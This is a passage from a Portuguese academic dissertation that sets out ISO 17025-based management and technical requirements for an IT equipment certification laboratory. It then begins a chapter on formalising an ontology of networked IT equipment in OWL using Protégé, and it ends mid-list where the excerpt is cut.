Os resultados destas revisões servirão para melhorar os procedimentos e a qualidade do trabalho desenvolvido, e devem servir de base para o sistema de planeamento do Laboratório o qual deve incluir metas, objetivos e planos de ação para o período seguinte. Todos estes registos devem ser devidamente catalogados e armazenados.

.



96 .

5.4 Requisitos Técnicos

A especificação de requisitos técnicos tem como objetivo, à semelhança dos Requisitos de Gestão, permitir o normal e eficiente funcionamento do Laboratório de Certificação de Equipamento Informático, e também tem por base a aplicação de algumas normas e requisitos de acordo com a ISO 17025 e também contributos e sugestões pessoais que se pensa serem importantes para o funcionamento do Laboratório.

Existem diversos fatores que determinam o eficiente funcionamento de um Laboratório de Certificação de Equipamento Informático, dos quais se destacam [65] [66]:

Fatores Humanos; Instalações e Condições Ambientais; Métodos de Teste e Avaliação e a sua Validação; Fatores Técnicos; Equipamentos; Rastreabilidade; Manuseamento dos Equipamentos de Teste; Garantia da Qualidade dos Testes e Avaliações; Apresentação dos Resultados.

As Secções que se seguem pretendem descrever estes fatores.

5.4.1 Fatores Humanos

A Direção do Laboratório deve garantir a competência de todo o pessoal, nomeadamente habilitações literárias e experiência necessários ao ótimo funcionamento do Laboratório. No caso do pessoal da Área Técnica deve ser garantido que os colaboradores têm as devidas habilitações e o devido conhecimento técnico e a consequente capacidade de efetuar os testes, avaliar os resultados e realizar os relatórios exigidos. No caso do pessoal da Área de Gestão deve ser garantido que os colaboradores têm as devidas habilitações e o devido conhecimento para realizar tarefas de gestão, de controlo da qualidade e de acompanhamento do Sistema de Gestão do Laboratório. Estas competências devem estar definidas num documento, incluído ou referenciado no MQ.

A demonstração das competências do pessoal pode ser feita através do acompanhamento por parte dos responsáveis das Áreas de Gestão e Técnica ao desenvolvimento das atividades por parte do pessoal, mas também pela realização periódica de testes práticos e/ou teóricos de desempenho. Sempre que as atividades

.



97 .

de testes e avaliações sejam realizados por pessoal técnico com pouca experiência, devem ser supervisionados por um técnico devidamente habilitado e com experiência ou pelo responsável da área técnica.

Nalgumas áreas técnicas pode ser necessário o pessoal técnico possuir habilitações ou certificação específicas para determinados testes ou avaliações, o Laboratório será responsável pelo preenchimento destes requisitos. Estes requisitos podem ser regulatórios ou a pedido do cliente.

O pessoal técnico responsável pela realização dos testes e avaliações, pela interpretação dos resultados e pela emissão dos relatórios deve, além das habilitações literárias, qualificações, experiência, e conhecimento sobre todas as ações tomadas, ter também:

Conhecimento profundo da tecnologia utilizada para a construção do alvo do teste, o seu modo de funcionamento e quais os defeitos ou problemas que possam surgir durante o seu funcionamento; Conhecimento dos requisitos gerais expressos nas normas e legislação; Conhecimento da importância dos desvios que possam ser encontrados com a normal utilização do alvo do teste.

A Direção do Laboratório deve formular propostas e metas no que concerne a habilitações, formação e treino do pessoal e deve garantir que o Laboratório tem políticas e procedimentos que identifiquem essas necessidades. Um programa de formação é importante na medida em que o pessoal deve estar atualizado para novas ameaças, novos equipamentos, novas normas, entre outros fatores do mesmo modo que serve de fator motivaciona. A eficácia das ações de formação e treino realizadas devem ser avaliadas.

O Laboratório deve preferencialmente utilizar o seu pessoal interno. No entanto em determinadas áreas técnicas e que sejam muito específicas, o pessoal técnico pode necessitar de determinada habilitação específica e/ou certificação nessas áreas. O Laboratório terá a responsabilidade de encontrar pessoal que satisfaça esses requisitos. Caso exista uma subcontratação de pessoal externo ao Laboratório, esse pessoal deve a todo o momento ser supervisionado, e deve ser garantido que cumpre todas as normas e políticas inerentes ao funcionamento do Laboratório.

5.4.2 Instalações e Condições Ambientais

As instalações do Laboratório devem ter todas as condições necessárias à ótima realização dos testes e avaliações de segurança dos equipamentos.

.



98 .

De entre as condições que permitirão um eficiente funcionamento do Laboratório destacam-se fatores como:

Localização: o Laboratório deve estar separado de instalações que possam comprometer a sua atividade, como por exemplo centrais elétricas ou outros Laboratórios. Caso o Laboratório esteja incluído numa organização ou empresa, a sua localização deve ser cuidadosamente estudada a fim de minimizar eventuais consequências de catástrofes naturais, acesso ilegítimo de pessoal, interferências, entre outros fatores; Espaço: o Laboratório deve ter áreas que possibilitem o seu ótimo funcionamento. As diferentes áreas devem incluir gabinetes para a Direção, Responsáveis das Áreas, salas de testes, salas de arrumos, salas de equipamentos, instalações sanitárias, entre outros. Devem existir boas condições de circulação dos bens e pessoal entre todas as áreas. Todas as áreas devem obedecer a políticas de segurança e desempenho; Iluminação: as áreas referidas devem possuir uma correta iluminação que permita ao Laboratório desenvolver as suas atividades nas melhores condições; Fatores Ambientais: o Laboratório deve ser o mais ecológico possível, minimizando as saídas de lixo e desperdícios e maximizando a saída de recicláveis. Também ao nível da iluminação devem ser preferencialmente utilizados equipamentos que permitam poupar energia; Fatores Técnicos: o Laboratório deve possuir equipamentos tecnologicamente avançados que permitam o seu ótimo funcionamento.

O Laboratório deve garantir que as condições ambientais não prejudicam ou invalidam a realização dos testes e avaliações. Quaisquer anomalias detetadas devem ser documentadas, a fim de ser analisadas em auditorias e serem aplicadas medidas corretivas.

O Laboratório deve monitorizar, controlar e registar as condições ambientais, sendo que deve ser dada especial atenção a fatores como:

Interferências eletromagnéticas; Poeiras ou outros elementos que possam interferir com os equipamentos; Humidade; Fornecimento elétrico; Temperatura; Outros fatores ambientais.

O Laboratório deve estar equipado com um sistema de controlo de acessos suficientemente eficiente de modo a permitir que apenas pessoal autorizado possa ter

.



99 .

acesso às suas instalações. Este sistema deve permitir manter um registo de todos os acessos às instalações do Laboratório.

As instalações e os seus acessos devem estar equipados com um sistema de alarme, que preferencialmente esteja ligado a uma central devidamente credenciada para o efeito. Este sistema deve prever a ocorrência de assaltos, arrombamentos, incêndios, entre outras incidências que possam envolver a integridade do Laboratório.

Devem existir procedimentos para a prevenção e atuação em caso de acidentes. O pessoal deve ter formação adequada neste sentido, e deve periodicamente participar em exercícios e simulacros.

As instalações e os seus acessos devem estar dotados de equipamento de captura e gravação de vídeo de forma a garantir a possibilidade de visualização de atividade suspeita em torno do Laboratório. Este sistema pode ou não estar diretamente relacionado com a central de alarmes.

As instalações do Laboratório devem ser devidamente isoladas de modo a que este consiga operar completamente livre de interferências exteriores. Este isolamento, o qual deve ter por base os princípios da uma Caixa Faraday23, deve prevenir a entrada ou saída de radiação eletromagnética, tal como sinais rádio ou outros.

As instalações do Laboratório devem estar devidamente protegidas contra diversas catástrofes, naturais ou acidentais, tal como um sistema contra incêndios, sistema contra inundações, controlo de temperatura, construção antissísmica, entre outros fatores que possam comprometer a integridade das instalações.

Recomenda-se que, quando a limpeza seja feita por pessoal externo, sejam fornecidas instruções, que devem estar presentes em documento próprio ou referenciadas no MQ, de modo a garantir a segurança do pessoal, a salvaguarda da operacionalidade dos equipamentos e a confidencialidade dos dados, bem como a integridade dos equipamentos do Laboratório e de clientes

5.4.3 Métodos de Teste e Avaliação e a sua Validação

O Laboratório deve utilizar os métodos e procedimentos apropriados e mais eficientes, tal como instruções e normas específicas de utilização, para realizar os testes e avaliações a que se propõe. Estes métodos incluem o transporte, receção,

23 Uma Caixa Faraday é um espaço protegido por um material condutor com determinadas propriedades de forma a bloquear a entrada ou saída de sinais eletromagnéticos.

.



100 .

manuseio, preparação, análise e armazenamento dos equipamentos a serem testados tal como da documentação, ferramentas e equipamentos internos.

Toda a documentação de instruções, normas, ou outros manuais de referência devem ser constantemente atualizados e devem estar acessíveis a todo o pessoal que efetue testes. Além da documentação produzida internamente, estes métodos podem também incluir normas publicadas nesta área, que contenham informação específica e concisa de como realizar os testes e avaliações, e que sejam reconhecidos pela qualidade das suas recomendações. Qualquer desvio dos normais métodos de testes e avaliação devem ser justificados tecnicamente, autorizados pelo cliente, e devidamente documentados.

O Laboratório deve utilizar métodos para efetuar os testes e avaliações que cumpram as necessidades do cliente e ao mesmo tempo as normas a que o Laboratório está obrigado, nomeadamente a ISO17025. O Laboratório deve garantir que tem a última versão das normas em vigor.

Métodos desenvolvidos pelo Laboratório ou quaisquer outros que não constem nas normas adotadas, mas que se verifique serem os mais adequados, podem ser utilizados desde que devidamente validados pela Direção do Laboratório. O cliente deve ser informado desta situação. A introdução destes métodos nos testes e avaliações efetuados pelo Laboratório deve ser uma atividade planeada, e deve ser executada por pessoal com qualificação e experiência suficiente que justifique essa introdução. Este planeamento deve ser constantemente revisto e melhorado, consoante os resultados obtidos.

Caso se utilizem métodos desenvolvidos pelo Laboratório ou outros que não constem nas normas adotadas, o Laboratório deve ter e aplicar procedimentos que estimem a incerteza dos testes e avaliações. Alguns fatores que contribuem para a incerteza podem ser os materiais e manuais utilizados, métodos e equipamentos utilizados, condições ambientais, as propriedades e condições em que o equipamento se apresenta, o técnico que efetua os testes, entre outros fatores. Estes métodos devem conter pelo menos a seguinte informação:

Identificação apropriada; Âmbito; Descrição do tipo de equipamento a ser testado; Parâmetros a serem determinados; Aparelhos e equipamentos, incluindo os requisitos de desempenho técnico; Normas e manuais de referência; Condições ambientais necessárias; Descrição do procedimento, incluindo:

.



101 .

o Manuseamento, transporte, armazenamento e preparação do equipamento;

o Verificações a realizar antes de efetuar os testes e avaliações; o Verificações que o equipamento está em perfeitas condições e

funcionamento; o Método de registo dos testes e resultados; o Medidas de segurança a serem tomadas.

Critérios e/ou requisitos para aprovação/reprovação; Informação a registar e métodos de análise e apresentação; O grau de incerteza ou o procedimento para o estimar.

Sempre que se utilizem computadores ou outros equipamentos eletrónicos para aquisição, processamento, gravação, reporte, armazenamento ou recuperação de informação relativa a testes e avaliações, o Laboratório deve garantir que:

As aplicações utilizadas devem estar devidamente documentadas e validadas como estando aptas para o uso nos testes e avaliações; São estabelecidos e implementados procedimentos para proteção da informação, que devem incluir integridade e confidencialidade, tal como procedimentos de armazenamento, acesso, processamento, entre outros; Computadores ou outros equipamentos eletrónicos têm manutenção de modo a garantir o seu perfeito funcionamento, e dispõem de condições ambientais e de funcionamento necessárias para manter a integridade da informação que tratam.

Dos testes e avaliações deve resultar um Relatório Técnico o qual deve ser elaborado pelo pessoal técnico que conduziu estas ações e que deve posteriormente ser validado pelo responsável da Área Técnica antes de submetido à Direção.

Todo o trabalho efetuado dentro do Laboratório deve ter propriedades de rastreabilidade, ou seja, deve ser devidamente documentado e facilmente pesquisável, de modo a estar disponível sempre que necessário.

5.4.4 Fatores Técnicos

Devem existir políticas e procedimentos de acesso aos equipamentos do Laboratório, através de autenticação de utilizadores, registo da utilização de equipamentos, entre outros procedimentos de segurança.

Devem existir políticas e procedimentos que regulem a ligação aos equipamentos do Laboratório de dispositivos que possam vir do exterior como discos externos, cartões de memórias, unidades Flash USB entre outros.

.



102 .

Os computadores do Laboratório devem estar dotados de equipamentos de selagem, normalmente conhecidos como lockdown equipment, que protejam o acesso ao seu interior e aos seus componentes. No caso de ser necessário aceder ao interior dos computadores, estes lockdowns devem permitir a abertura mediante autorização da Direção do Laboratório, e consequente registo dessa operação.

Nas Secções utilizadas para efetuar os testes e avaliações não devem existir comunicações nem ligações de rede, tanto para a rede interna do Laboratório como para a Internet ou outras redes, de modo a prevenir adulterações nos resultados.

Devem existir políticas e procedimentos, que previnam a instalação de aplicações potencialmente perigosas e que possam de algum modo comprometer ou infetar os computadores com algum tipo malware. Além destas políticas, os computadores devem estar equipados com software de deteção e proteção deste tipo de ameaças, como antivírus, antimalware, firewalls, entre outros.

5.4.5 Equipamentos

O Laboratório deve estar dotado com os mais apropriados e melhores equipamentos que tenha ao seu alcance, de modo a realizar e validar nas melhores condições os testes e avaliações a que se propõe.

Sempre que seja necessária a utilização de equipamento exterior ao Laboratório, este deve ser devidamente analisado, e deve ser verificado se todos os requisitos de segurança e operabilidade internos estão preenchidos.

Antes de colocados ao serviço, os equipamentos utilizados pelo Laboratório devem ser cuidadosamente verificados, sendo eles próprios alvo de avaliações de segurança. Estes equipamentos devem ser regularmente inspecionados, a fim de validar as suas capacidades de operação no Laboratório. Caso seja detetada alguma anomalia, a mesma deve ser cuidadosamente documentada, e o equipamento deve ser retirado de serviço, a fim de ser analisado e de prevenir eventuais alastramentos dos problemas encontrados.

Os equipamentos do Laboratório devem ser operados apenas por pessoal autorizado. Instruções atualizadas sobre a sua correta utilização devem estar disponíveis para consulta dos colaboradores.

.



103 .

Todos os equipamentos do Laboratório devem estar devidamente identificados e inventariados. Desta identificação e inventariação devem constar fatores como:

Identificação do equipamento; Nome do fabricante, tipo de equipamento, número de série (ou outra identificação única); Identificação da finalidade do equipamento; Informação técnica; Manuais de instruções; Identificação do hardware que o compõe; Identificação do software que o compõe; Localização dentro do Laboratório; Plano de manutenção e as datas das atualizações; Eventuais anomalias ou funcionamento defeituoso; Reparações ou outras alterações a que tenha sido sujeito.

O Laboratório deve ter políticas e procedimentos para a correta utilização, manutenção, transporte, manuseamento e armazenamento dos equipamentos, de modo a garantir o seu correto funcionamento e prevenir assim o seu desgaste e deterioração.

Equipamentos que tenham estado sujeitos a sobrecarga de trabalho ou má utilização, que tenham apresentado resultados suspeitos ou que tenham demonstrado algum defeito ou estejam fora dos limites aceitáveis de falhas, devem ser retirados do serviço, isolados, identificados e catalogados, a fim de prevenir a sua utilização em testes e avaliações e consequente incerteza nos resultados obtidos. Equipamentos que tenham sido reparados, devem ser avaliados de modo a garantir que cumprem todos os requisitos para os quais foram propostos. Todos estes procedimentos devem ser devidamente registados.

O Laboratório deve ter políticas para o abate de equipamentos, nomeadamente que incluam procedimentos de inutilização de informação que possa estar armazenada nos mesmos. Estes procedimentos podem incluir não só a utilização de ferramentas de software para a eliminação de informação, mas também a utilização de ferramentas de hardware no sentido de inutilizar ou mesmo destruir o equipamento ou componentes dele.

.



104 .

5.4.6 Rastreabilidade

O Laboratório deve ter a capacidade de manter registos de toda a sua atividade, ou seja, dos equipamentos quer sejam internos ou dos clientes, dos colaboradores, dos clientes, dos fornecedores, dos procedimentos desenvolvidos, e toda a documentação resultante deve estar devidamente organizada e armazenada para que possa de uma forma célere ser acedida sempre que necessário.

5.4.7 Manuseamento dos Equipamentos de Teste

O Laboratório deve ter políticas e procedimentos para a receção, transporte, manuseio, proteção, armazenamento e alienação dos seus equipamentos de teste, de modo a proteger a integridade dos mesmos, e consequentemente os interesses do Laboratório.

O Laboratório deve implementar um sistema de identificação dos seus equipamentos. O sistema deve estar desenhado e operar de modo que os equipamentos não possam ser fisicamente confundidos ou mal referenciados em relatórios ou outros documentos.

Devem existir instruções de utilização e manuseamento de todos os equipamentos que devem ser seguidas por todos os colaboradores.

Deve ser mantido um registo de todas as utilizações dos equipamentos.

Sempre que equipamentos sejam necessários à realização de testes e avaliações, o registo da sua utilização deve ser consultado, a fim de verificar que não existe nenhuma anomalia ou referência que deva ser tida em conta de utilizações anteriores.

5.4.8 Garantia da Qualidade dos Testes e Avaliações

O Laboratório deve ter políticas e procedimentos para o controlo da qualidade de modo a monitorizar e validar a qualidade dos testes e avaliações efetuados. A informação resultante destes procedimentos deve ser mantida em registos de modo a que possa ser analisada através de técnicas estatísticas e deve estar referenciada no MQ.

Esta monitorização deve incluir, entre outros, fatores como:

Certificação do Laboratório;

.



105 .

Utilização de materiais de referência certificados; Controlo da qualidade interna através das normas em vigor; Formação dos colaboradores; Participação em atividades interlaboratoriais a fim de comparar métodos; Replicação de testes e avaliações utilizando os mesmos ou diferentes métodos; Correlacionar resultados para diferentes características de um equipamento proposto a testes

A informação resultante do controlo de qualidade deve ser analisada, e sempre que forem encontrados dados fora dos critérios pré-estabelecidos, devem ser tomadas ações corretivas a fim de corrigir tais problemas e de forma a prevenir a apresentação de resultados incorretos.

5.4.9 Apresentação de Resultados

Os resultados dos testes e avaliações efetuados pelo Laboratório devem resultar na elaboração de documentação quem deve respeitar fatores técnicos, mas também fatores como precisão, isenção, clareza e objetividade.

Mais à frente nesta Dissertação, na Secção “7.2.7 Relatório Técnico e Certificação”, será proposta a elaboração de um Relatório Técnico que apresente o resultado dos testes e avaliações efetuados ao equipamento.

O suporte físico de apresentação do RT pode variar consoante sejam os requisitos do cliente.

5.5 Equipamentos Necessários

De modo que o Laboratório consiga realizar a sua atividade nas melhores condições, com um grau de fiabilidade elevado, mantenha a sua certificação e de um modo geral apresente uma boa imagem, são necessários diferentes tipos de equipamentos. Estes equipamentos englobam material genérico de gestão mas também material técnico e específico às atividades desenvolvidas pelo Laboratório.

5.5.1 Equipamentos Informáticos

O Laboratório deve estar provido de equipamentos informáticos que permitam realizar as tarefas de gestão e técnicas.

.



106 .

De entre os equipamentos informáticos para as tarefas de gestão estarão incluídos por exemplo computadores de secretária e/ou portáteis, impressoras e/ou multifunções, discos externos, entre outros.

De entre os equipamentos informáticos para as tarefas técnicas estarão incluídos por exemplo servidores, computadores de secretária e/ou portáteis, discos externos, switches, routers, entre outros.

Estes equipamentos devem estar devidamente marcados e catalogados em registos com a sua identificação, tipo, características, local de operabilidade e estado. Qualquer intervenção ou atualização que tenham sido alvo devem igualmente estar referenciadas.

Sempre que haja a necessidade de substituições de equipamento deve ser efetuado o abate nos registos, tal como o motivo da substituição, e efetuada a entrada do novo equipamento.

5.5.2 Equipamentos Elétricos

O Laboratório deve estar provido de equipamentos elétricos que permitam realizar as suas tarefas quer de gestão quer técnicas nas melhores condições.

Estes equipamentos devem incluir candeeiros de secretária, candeeiros específicos para bancadas técnicas, ferros de soldar, multímetros, tomadas elétricas, calhas de tomadas elétricas nas bancadas técnicas, unidades de UPS, entre outros.

Estes equipamentos devem estar devidamente marcados e catalogados em registos com a sua identificação, tipo, características, local e estado. Qualquer intervenção ou atualização que tenham sido alvo devem igualmente estar referenciadas.


5.5.3 Equipamentos Genéricos

O Laboratório deve estar provido de equipamentos genéricos que permitam realizar as suas tarefas, como sejam, secretárias, cadeiras, armários, entre outros.

.



107 .

Estes equipamentos devem estar devidamente marcados e catalogados em registos com a sua identificação, tipo, características, local e estado. Qualquer intervenção ou atualização que tenham sido alvo devem igualmente estar referenciadas.


5.6 Aplicações Necessárias

O Laboratório deve estar provido de aplicações informáticas que permitam realizar as suas tarefas, quer de gestão quer técnicas.

Estas aplicações podem ser adquiridas a empresas específicas da área que demonstrem requisitos de segurança e isenção ou desenvolvidas internamente.

Estas aplicações devem estar devidamente catalogadas em registos com a sua identificação, tipo, versão, características e equipamento de instalação.

Sempre que haja a necessidade de substituições ou atualizações de aplicações, deve ser efetuada uma referência e atualização nos registos, especificando o motivo e qual a nova versão a entrar ao uso.

5.6.1 Aplicações de Gestão

O Laboratório deve estar provido de aplicações informáticas que permitam realizar as suas tarefas de gestão.

De entre as aplicações informáticas para as tarefas de gestão estarão incluídas, por exemplo, sistemas operativos, aplicações de produtividade, entre outras.

5.6.2 Aplicações Técnicas

O Laboratório deve estar provido de aplicações informáticas que permitam realizar as suas tarefas técnicas.

.



108 .

De entre as aplicações informáticas para as tarefas técnicas estarão incluídas, por exemplo, sistemas operativos, aplicações de produtividade, aplicações de injeção de pacotes, aplicações de análise de comunicações, entre outras.

5.7 Consumíveis Necessários

Para que o Laboratório consiga realizar a sua atividade nas melhores condições, são necessários diferentes tipos de consumíveis, desde os mais genéricos e comuns para o funcionamento diário e de gestão, mas também mais específicos e técnicos para a realização das atividades de testes e avaliações.

De entre os consumíveis mais genéricos farão parte por exemplo material de escritório, material de gestão das condições ambientais, entre outros.

De entre os consumíveis mais técnicos farão parte por exemplo componentes elétricos e eletrónicos, tinteiros, solda, entre outros.

.


109 .

Capítulo 6 Proposta de Ontologia de Equipamento Informático

Este Capítulo propõe a formalização de uma Ontologia de Equipamento Informático, de modo a efetuar uma classificação desse equipamento em Classes de Equipamentos Informáticos e associa-los a Classes de Comportamentos de modo a verificar que equipamentos podem ser testados e avaliados e que tipos de comportamentos devem ser analisados.

.


Capítulo 6 – Proposta de Ontologia de Equipamento Informático

110 .

6.1. Enquadramento

O processo de Certificação de Idoneidade pelo Laboratório deve iniciar-se por uma identificação das propriedades do equipamento a testar e a sua classificação de modo a que possam ser efetuados testes e avaliações consoante uma determinada classe onde seja inserido, resultado dessa classificação.

As Ontologias podem ser utilizadas para Classificar, Categorizar e definir Propriedades e Relações entre determinados Objetos e desta forma partilhar conhecimento dessa estrutura de Informação tanto entre humanos como entre computadores.

Assim, este Capítulo propõe uma Ontologia de Equipamento Informático de modo a efetuar uma classificação em Classes de Equipamentos informáticos e posteriormente em Classes de Comportamentos de modo a verificar quais os equipamentos que podem ser testados e associa-los aos comportamentos que devem ser analisados.

6.2. Ontologia de Equipamento Informático

Um corpo de conhecimento numa determinada área de interesse formalmente representado é baseado numa conceptualização, ou seja, em objetos, conceitos, e outras entidades que se presumam existir, e nas relações entre elas. Uma conceptualização é uma vista abstrata simplificada do universo que se deseja representar para determinado propósito. Qualquer base de conhecimento está sujeita a algum tipo de conceptualização seja explícita ou implicitamente [67].

Uma Ontologia é uma especificação explícita de uma conceptualização. Este termo é originário da Filosofia onde uma Ontologia é uma explicação sistemática da existência. Para sistemas de bases de conhecimento, o que existe é exatamente o que pode ser representado. Quando o conhecimento sobre um determinado Domínio é representado num formalismo declarativo, o conjunto de objetos que podem ser representados é chamado de “universo do discurso”. Este conjunto de “objetos” e as “relações” entre eles são refletidos num “vocabulário representacional” que em conjunto com um “programa” baseado em “conhecimento” representam “conhecimento sobre” uma determinada “área” [67].

Uma Ontologia permite a formalização de conhecimento sobre uma determinada área e sua partilha entre pessoas e sistemas, e nesse sentido é também um objetivo e uma característica das Ontologias poderem ser modificadas e melhoradas para que possam ser utilizadas num maior âmbito de forma a servir diferentes propósitos na sua área.

.



111 .

As Ontologias podem ser classificadas de diversas formas, sendo que muitos autores utilizam a seguinte classificação [68]:

Quanto ao grau de detalhe para caracterizar a conceptualização; Quanto ao assunto da conceptualização: que por sua vez se divide em quatro categorias:

o Ontologias de Aplicação: contêm todas as definições necessárias para a modelação do conhecimento exigido para uma aplicação particular. Tipicamente estas Ontologias são uma mistura dos conceitos utilizados pelas Ontologias de Domínio e Genéricas, mas não tendem a ser reutilizáveis;

o Ontologias de Domínio: especificam conceptualizações que são específicas para um Domínio em particular (como por exemplo a informática ou a medicina). Este tipo de Ontologia é dos mais comuns;

o Ontologias Genéricas: são semelhantes às Ontologias de Domínio mas os conceitos que descrevem são considerados de genéricos entre muitos campos. Tipicamente descrevem conceitos mais amplos como estado, evento, processo, ação, componente, entre outros. Os conceitos das Ontologias de Domínio são muitas vezes considerados como especializações dos conceitos das Ontologias Genéricas, e assim sendo, a distinção entre estas duas classificações é muitas vezes ténue;

o Ontologias de Representação: explicam as conceptualizações que fundamentam os formalismos de representação do conhecimento. Estas Ontologias tendem a ser neutras com as entidades do mundo que representam. As Ontologias de Domínio e Genéricas utilizam muitas vezes as primitivas fornecidas por as Ontologias de Representação.

Esta não é uma classificação única e imposta, sendo que a Ontologia utilizada nesta Dissertação pode ser considerada como uma Ontologia de Domínio uma vez que vai especificar e formalizar conceptualizações, neste caso concreto Classes de equipamentos e comportamentos a analisar, num Domínio concreto que é o da Informática, e mais especificamente de equipamento informático integrado em redes de computadores.

Assim, pretende-se neste Capítulo criar uma Ontologia de Equipamento Informático que defina as Classes de equipamentos passíveis de testar e avaliar, as Classes de comportamentos a analisar, as suas Propriedades e as Relações entre elas.

Os equipamentos serão classificados numa determinada Classe de Equipamentos, que estará relacionada com uma determinada Classe de Comportamentos a Analisar que definirá o que deve ser testado e avaliado no equipamento pelo Laboratório.

.



112 .

Este conhecimento servirá para utilização no Laboratório de Certificação de Idoneidade de Equipamento Informático mas deixará também em aberto a possibilidade de ser utilizado e modificado por outras entidades.

6.3. Metodologia, Linguagem e Aplicações Utilizadas

Aquando da construção e formalização de uma Ontologia, devem ser colocadas algumas questões relacionadas com a metodologia de desenvolvimento, linguagem e ferramentas a utilizar.

No que diz respeito às metodologias existem diversas abordagens que podem ser tomadas, tais como Cyc development, SENSUS, Enterprise Ontology, TOVE, On-To-Knowledge, onde atualmente as mais utilizadas são as Methontology, CommonKADS, OTKM, EOE e Ontology Development 101. Não existe uma recomendação nem uma metodologia tipo, sendo que cada uma delas terá as suas próprias limitações e vantagens assim sejam os objetivos pretendidos ou a classificação da Ontologia a formalizar [69].

Algumas metodologias (Sensus, Kactus, Uschold and King, Grüninger and Fox, Noy and McGuinness) são mais simples de seguir e fornecem apenas linhas gerais para a implementação de Ontologias, não dispondo de muita documentação que forneça detalhes sobre requisitos de análise, de gestão ou outros. Normalmente são utilizadas para especificar pequenas Ontologias que não requeiram uma formalização exaustiva. Existem no entanto outras (Methontology, OTKM, UPON, EOE, Ontology Development 101) que fornecem uma abordagem mais detalhada em que recomendam um ciclo de vida e preveem um número de atividades de pré e pós desenvolvimento tal como dispõem de documentação com um nível de detalhe mais elevado [70].

Quanto às linguagens existem algumas linguagens formais que se podem utilizar para a construção de Ontologias, umas proprietárias e outras de código livre, umas mais complexas que outras, umas com mais especificidades que outras, que podem ser utilizadas para codificar Ontologias, como sejam as linguagens CycL, DOGMA, F-Logic, Gellish, IDEF5, KIF, RIF, RACER, OIL, OWL entre outras [71].

Atualmente existem desenvolvimentos no sentido de normalizar as linguagens utilizadas para especificar Ontologias nomeadamente os levados a cabo pelo World Wide Web Consortium – W3C. O W3C é uma comunidade internacional em que organizações membro, funcionários, e colaboradores em geral, trabalham no sentido de desenvolver normas Web (Web Standards) de modo a obter o máximo proveito da World Wide Web [72].

.



113 .

O W3C fornece a norma W3C Semantic Web como sendo um formalismo para a codificação de ontologias através da Web Ontology Language - OWL [72] [73].

A OWL é uma sintaxe para descrever e intercambiar Ontologias ao mesmo tempo que também fornece uma semântica formalmente definida que lhes dá significado. O W3C especifica três variantes da OWL (OWL Lite, OWL DL e OWL Full) que diferem consoante o nível de expressividade assim seja o seu objetivo e área de utilização [71] [72].

A OWL foi projetada para ser utilizada por computadores e aplicações que necessitem de processar o conteúdo da Informação em vez de apenas apresentar a Informação em modo legível a humanos [72].

No que diz respeito às ferramentas capazes de auxiliar no processo de construção de Ontologias existem algumas ofertas, umas de utilização livre outras proprietárias, tais como Protégé, OntoEdit, DOE, IKARUS, WebODE, WebONTO, OilEd, Text-to-Onto, entre outras [70].

O Protégé é uma das aplicações mais populares e foi desenvolvida pela Universidade de Stanford. É uma ferramenta de utilização gratuita e de código aberto, que dispõe de um ambiente gráfico intuitivo para a criação e edição de Ontologias e uma arquitetura extensível para a criação de ferramentas baseadas em conhecimento. Existe uma comunidade cada vez maior de utilizadores que disponibilizam ferramentas e conhecimento. O Protégé implementa um conjunto de estruturas de modelação de conhecimento e ações que suportam a criação, visualização e manipulação de Ontologias em vários formatos de representação tais como OWL, RDF e XML [74].

Após o estudo efetuado sobre as metodologias, linguagens e aplicações para formalização de Ontologias, decidiu utilizar-se nesta Dissertação a linguagem OWL juntamente com a ferramenta Protégé, com base na Metodologia Ontology Development 101. Esta conjugação deveu-se a existir um maior número não só de Ontologias disponibilizadas em repositórios gratuitos, mas também de bibliografia referente a cada uma destas especificidades, uma vez que são das mais utilizadas no desenvolvimento de Ontologias. Além disso esta metodologia, linguagem e ferramenta são de uso livre, o que também pesou na sua a escolha. O facto de a OWL ser desenvolvida e mantida pelo W3C a fim de se tornar numa norma mundial, e uma vez que é das linguagens mais utilizadas foram dois dos fatores que levaram à sua escolha. A interface amigável e de fácil utilização disponibilizada pelo Protégé que permite a criação e formalização de Ontologias compatíveis com a linguagem OWL levou a que fosse a aplicação escolhida. A Metodologia Ontology Development 101 é a sugerida e utilizada pelo Protégé, e também oferece diretrizes claras sobre as tarefas a realizar, o que também justificou a sua escolha.

.



114 .

6.4. Metodologia de Formalização da Ontologia

Como já foi referido, a Metodologia adotada foi a Ontology Development 101, a qual se descreve nas Secções que se seguem.

Uma vez que é um dos objetivos principais das Ontologias a partilha do conhecimento, a Ontologia desenvolvida utilizando o Protégé utilizará termos em Inglês para a tornar assim mais abrangente, sendo que a sua descrição nesta Dissertação será em Português para um mais fácil entendimento das tarefas realizadas.

6.4.1 Determinar o Domínio e Âmbito da Ontologia

O desenvolvimento da Ontologia deve ser iniciado definindo o seu Domínio e Âmbito através da resposta a algumas questões básicas como [75]:

Qual é o Domínio a abranger pela Ontologia? O Domínio a abranger será o da Informática, mais especificamente equipamento informático integrado em redes de computadores e determinados comportamentos desses equipamentos passíveis de serem analisados em Laboratório.

Para que será usada a Ontologia? Pretende-se criar uma Ontologia de Equipamento Informático que defina as Classes de equipamentos passíveis de testar e avaliar, as Classes de comportamentos a analisar, as suas Propriedades e as Relações entre elas.

Para que tipo de questões a Informação integrante da Ontologia deverá fornecer respostas? Deverá ser possível determinar que testes e análises devem ser efetuados a um determinado equipamento informático, consoante seja a Classe de Equipamentos em que o mesmo seja classificado, relacionando-a com uma determinada Classe de Comportamentos a Analisar.

Quem irá utilizar e manter a Ontologia? A Ontologia tem como objetivo ser utilizada por um Laboratório de Certificação de Idoneidade no processo de certificação de idoneidade de equipamento informático integrado em redes de computadores, e deverá ser mantida por esse Laboratório. No entanto, e como será disponibilizada online em repositórios para o efeito, poderá ser reutilizada e modificada por quem assim o necessite e consoante as suas necessidades.

.



115 .

Embora estas respostas possam sofrer alterações durante o processo de desenho da Ontologia, servem para limitar o âmbito do modelo a desenvolver e não permitir o desvio do seu Domínio [75].

6.4.2 Considerar a utilização de Ontologias existentes

Deve ser tido em conta que a Ontologia a formalizar possa já ter sido desenvolvida por alguém com objetivos semelhantes. A reutilização de Ontologias pode ser um requisito se o sistema a desenvolver necessitar de interagir com aplicações que já tenham determinadas Ontologias ou vocabulários associados [75].

Existem online diversas livrarias de Ontologias já desenvolvidas. Nesse sentido, foram realizadas algumas pesquisas de Ontologias relacionadas com TI, Segurança, Periféricos, entre outros termos chaves, através de algumas ferramentas e motores de busca tais como:

